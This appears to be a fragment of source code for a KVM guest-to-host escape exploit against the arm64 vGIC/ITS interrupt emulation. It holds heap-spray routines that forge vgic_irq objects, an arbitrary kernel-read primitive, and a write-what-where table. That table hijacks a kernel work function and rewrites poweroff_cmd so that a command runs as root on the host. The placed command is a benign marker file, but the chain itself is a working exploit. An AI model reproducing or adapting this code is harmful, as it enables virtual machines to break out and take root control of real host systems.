	while (atomic_load(&nr_cpus_ready) < test_data.nr_cpus)
		cpu_relax();

	xits_init(test_data.collection_table, SZ_64K,
		 test_data.device_table, SZ_64K, test_data.cmdq_base, SZ_64K);

	guest_setup_its_mappings();
	guest_setup_its1();

	for (cpuid = 0; cpuid < test_data.nr_cpus; cpuid++)
		xits_send_invall_cmd(test_data.cmdq_base_va, cpuid);
	for (cpuid = 0; cpuid < test_data.nr_cpus; cpuid++)
		xits_send_sync_cmd(test_data.cmdq_base_va, cpuid);
}



/* orderly_poweroff(x0=kvm): kvm is 8-byte aligned so bit0=0 -> poweroff_force NOT set -> no host
 * shutdown -> queue_work_on(poweroff_work) (atomic-safe) -> poweroff_work_func argv_split's
 * poweroff_cmd and call_usermodehelper's it with init_cred -> runs as root. */
#define ORDERLY_POWEROFF 0xffff8000800df92cULL
#define POWEROFF_CMD     0xffff800082d003c8ULL	/* writable .data; argv_split'd + UMH'd as root */
/* arp_tbl.gc_work.work.func (arp_tbl + 304) = neigh_periodic_work; the WWW overwrites it (at
 * runtime addr +voff) with orderly_poweroff. Re-armed ~every BASE_REACHABLE_TIME/2 (~15s) and
 * fires POST-exit (a during-run fire would wedge the leaked-preempt vCPU's exit). */
#define NEIGH_GC_WORK_FUNC 0xffff8000831d2d50ULL

/* The live WWW uses RUNTIME addresses (linked + leaked voff) in guest_exploit_rt(); only
 * SC_WRITES[0] is used live, as the ops=0 placeholder for the P4 cross-cache fill. */
static const struct { u64 t, w; } SC_WRITES[] = {
	{ POWEROFF_CMD + 0x00, 0x756f742f6e69622fULL }, /* "/bin/tou" */
	{ POWEROFF_CMD + 0x08, 0x635354492f206863ULL }, /* "ch /ITSc" */
	{ POWEROFF_CMD + 0x10, 0x0000000000657061ULL }, /* "ape\0" => "/bin/touch /ITScape" */
	{ NEIGH_GC_WORK_FUNC, ORDERLY_POWEROFF },
};
#define NR_SC_WRITES (sizeof(SC_WRITES)/sizeof(SC_WRITES[0]))


static void guest_prefault_gmem_pt(void)	/* fault the TOUCH region's stage-2 PT from fresh mem */
{
	volatile u8 *p = (volatile u8 *)test_data.touch_base;
	u64 off;
	for (off = 0; off < TOUCH_SIZE; off += SZ_2M)
		p[off] = 0x00;
}

/* Fill every 96B gmem slot as a fake vgic_irq: irq_lock@0=0, intid@4=LPI, hw@56=0, rcu.func@16,
 * ops@80. A dangling ITE resolving here -> trigger_msi -> vgic_queue_irq_unlock: if ops!=0 the
 * kernel calls *(ops+16) (gadget); else it takes the oracle path. Only every GSTRIDE-th slot is an
 * ACTION (ops!=0) slot so the gadget fires few times (the rest take the oracle path and unlock,
 * keeping the per-CPU preempt leak small). */
#define GSTRIDE 256
static void guest_fill_op4(u64 ops_val, u64 f20, u64 f28, u64 fn16)
{
	u64 base = test_data.touch_base, off, o;
	for (off = 0; off < TOUCH_SIZE; off += 4096) {
		volatile u8 *page = (volatile u8 *)(base + off);
		for (o = 0; o + 96 <= 4096; o += 96) {
			volatile u8 *obj = page + o;
			u64 gslot = (off >> 12) * 42 + (o / 96);	/* global slot index */
			*(volatile u32 *)(obj + 0)    = 0;		/* irq_lock = unlocked */
			*(volatile u32 *)(obj + 4)    = 0x2000;		/* intid = 8192 (LPI) */
			*(volatile u64 *)(obj + 16)   = fn16;		/* rcu.func = *(ops+16) = gadget */
			*(volatile u8  *)(obj + 56)   = 0x00;		/* hw=0 -> oracle returns NULL */
			*(volatile u32 *)(obj + 60)   = 2;		/* refcount >= 1 */
			if ((gslot % GSTRIDE) == 0) {			/* ACTION slot: gadget fires */
				*(volatile u64 *)(obj + 0x20) = f20;	/* gadget x0 base (T-0x28) */
				*(volatile u64 *)(obj + 0x28) = f28;	/* gadget value */
				*(volatile u64 *)(obj + 80)   = ops_val;
			} else {					/* BALANCE slot: oracle path -> unlock */
				*(volatile u64 *)(obj + 0x28) = 0;
				*(volatile u64 *)(obj + 80)   = 0;
			}
		}
	}
}

/* 3-arg wrapper (fn16=0): the P4 cross-cache fill (ops=0, no gadget) */
static void guest_fill_op(u64 ops_val, u64 f20, u64 f28)
{
	guest_fill_op4(ops_val, f20, f28, 0);
}

/* Arbitrary-read primitive (native list_add path, no gadget). The fake irq has ops==NULL and
 * active=1,vcpu=0 so vgic_target_oracle returns irq->target_vcpu; then
 * list_add_tail(&irq->ap_list, &target_vcpu->ap_list_head) does new->prev = head->prev =
 * *(target_vcpu + 6656) and deposits it into gmem+32. Choosing target_vcpu = Y - 6656 reads *(Y)
 * back into guest-readable gmem.  (ap_list_head@6648, ap_list_lock@6640, active=byte56 bit5.) */
#define LEAK_SENTINEL 0x4c45414b4c454144ULL
static void guest_fill_read(u64 target_vcpu, u64 sentinel)
{
	u64 base = test_data.touch_base, off, o;
	for (off = 0; off < TOUCH_SIZE; off += 4096) {
		volatile u8 *page = (volatile u8 *)(base + off);
		for (o = 0; o + 96 <= 4096; o += 96) {
			volatile u8 *obj = page + o;
			*(volatile u32 *)(obj + 0)    = 0;		/* irq_lock unlocked */
			*(volatile u32 *)(obj + 4)    = 0x2000;		/* intid = 8192 (LPI) */
			*(volatile u64 *)(obj + 24)   = 0;		/* ap_list.next (set by list_add) */
			*(volatile u64 *)(obj + 32)   = sentinel;	/* ap_list.prev -> OLD *(Y) leak */
			*(volatile u64 *)(obj + 40)   = 0;		/* vcpu=0 -> oracle returns target_vcpu */
			*(volatile u64 *)(obj + 48)   = target_vcpu;	/* target_vcpu = Y - 6656 */
			*(volatile u8  *)(obj + 56)   = 0x20;		/* active bit */
			*(volatile u32 *)(obj + 60)   = 2;		/* refcount >= 1 */
			*(volatile u64 *)(obj + 80)   = 0;		/* ops = NULL -> NATIVE path */
		}
Showing 500 of 1006 lines View full file on GitHub →